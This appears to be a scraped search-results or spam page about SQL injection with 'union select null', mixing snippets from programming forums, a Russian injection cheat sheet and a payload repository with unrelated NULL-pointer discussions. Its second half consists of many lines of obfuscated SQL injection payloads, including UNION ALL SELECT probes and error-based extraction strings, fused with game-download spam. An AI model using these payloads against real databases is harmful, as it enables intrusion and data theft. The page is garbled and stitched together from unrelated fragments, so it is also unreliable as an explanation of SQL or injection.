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sql injection "union select null" - CodeProject | To display as

www.codeproject.com

Union select null, null, null, null, null, null, null from information_schema.tables. for a small database containing three tables. this instruction is used in sql injection I tried it and it worked but I didn't really know how it works can somebody help me...

999999.9 //union//all //select //cast(0x393133353134353632312e39...)

1494.kz

Union select null, null, null, null, null, null, null from information_schema.tables. for a small database containing three tables. this instruction is used in sql injection I tried it and it worked but I didn't really

999999.9 //union//all //**/union/**/all/**/select/**/null, null, null...

realsteel.kz

sql - Union to handle NULL values - Stack Overflow.

Шпаргалка по SQL инъекциям | DefconRU

defcon.ru

CHAR() (SM): SELECT CHAR(64) Переводит ASCII-код в соответствующий символ. 9. Оператор UNION С оператором UNION можно делать запросы к пересечению таблиц.

c++ - Why is address zero used for the null pointer? - Stack Overflow

stackoverflow.com

How can 0 be used for handling null pointers if that is the case? Why isn't a negative number null instead?

Setting a char * to null | Forum

cboard.cprogramming.com

that's wrong though. (char*)NULL isn't a string at all, it's a null pointer. this isn't a string either even though it's an array of char.

Are there reasons to assign NULL instead of 0 to non-pointer variables?

softwareengineering.stackexchange.com

A: Many programmers believe that NULL should be used in all pointer contexts, as a reminder that the value is to be thought of as a pointer. Others feel that the confusion surrounding NULL and 0 is only compounded by hiding 0 behind a macro, and prefer to use unadorned 0 instead. There is no one...

Заметка про NULL / Хабр | select col from ttt where col is not null

habr.com

Логические операции и NULL. Обычно, состояние НЕИЗВЕСТНО обрабатывается так же, как ЛОЖЬ. Например, если вы выбираете строки из таблицы и вычисление условия x = NULL в предложении WHERE дало результат НЕИЗВЕСТНО, то вы не получите ни одной строки.

SQL Инъекции | Page 797 | ANTICHAT - Security online community

forum.antichat.ru

...NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT%28version(),0x3a,user

PayloadsAllTheThings/SQL Injection at master...

github.com

Unicode character U+02BA MODIFIER LETTER DOUBLE PRIME (encoded as ʺ) was transformed into U+0022 QUOTATION MARK (") Unicode character U+02B9 MODIFIER LETTER PRIME (encoded

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'')/**/union/**/all/**/select/**/null,null,null,null,null,null,null,null,null,null--/**/ecza grand theft auto san andreas full version game download link
') and(/**/**/select 9394 /**/**/from(/**/**/select count(*),/**/**/concat(0x7176707671,(/**/**/select(elt(9394=9394,1))),0x716a786271,floor(rand(0)*2))x /**/**/from information_schema.plugins /**/**/group/**/by x)a) and('trfa'='trfa grand theft au
') and(/**//**/select 9394 /**//**/from(/**//**/select count(*),/**//**/concat(0x7176707671,(/**//**/select(elt(9394=9394,1))),0x716a786271,floor(rand(0)*2))x /**//**/from information_schema.plugins /**//**/group/**/by x)a) and('trfa'='trfa grand theft au
')/**/and/**/(select/**/9349/**/from(select/**/count(*),concat(0x7176707671,(select/**/(elt(9349
')/**/and/**/(select/**/9349/**/from(select/**/count(*),concat(0x7176707671,(select/**/(elt(9349'a=0
')/**/and/**/(select/**/9349/**/from(select/**/count(*),concat(0x7176707671,(select/**/(elt(9349=9349,1))),0x716a786271,floor(rand(0)*2))x"121121121212.1
')/**/and/**/(select/**/9349/**/from(select/**/count(*),concat(0x7176707671,(select/**/(elt(9349=9349,1))),0x716a786271,floor(rand(0)*2))x"121121121212.1xean"op'ze
')/**/and/**/(select/**/9349/**/from(select/**/count(*),concat(0x7176707671,(select/**/(elt(9349=9349,1))),0x716a786271,floor(rand(0)*2))x%2
')/**/and/**/(select/**/9349/**/from(select/**/count(*),concat(0x7176707671,(select/**/(elt(9349=9349,1))),0x716a786271,floor(rand(0)*2))x%2 and 1=1
')/**/and/**/(select/**/9349/**/from(select/**/count(*),concat(0x7176707671,(select/**/(elt(9349=9349,1))),0x716a786271,floor(rand(0)*2))x%2 and 1>1

999999.9) /union/all /select /cast(0x393133353134353632312e39 as char),/')/**/union/**/all/**/select/**/null,null,null,null,null,null--/**/saxi/cast(0x393133353134353632322e39 as char),/cast(0x393133353134353632332e39 as char) and(0=0 на YouTube:

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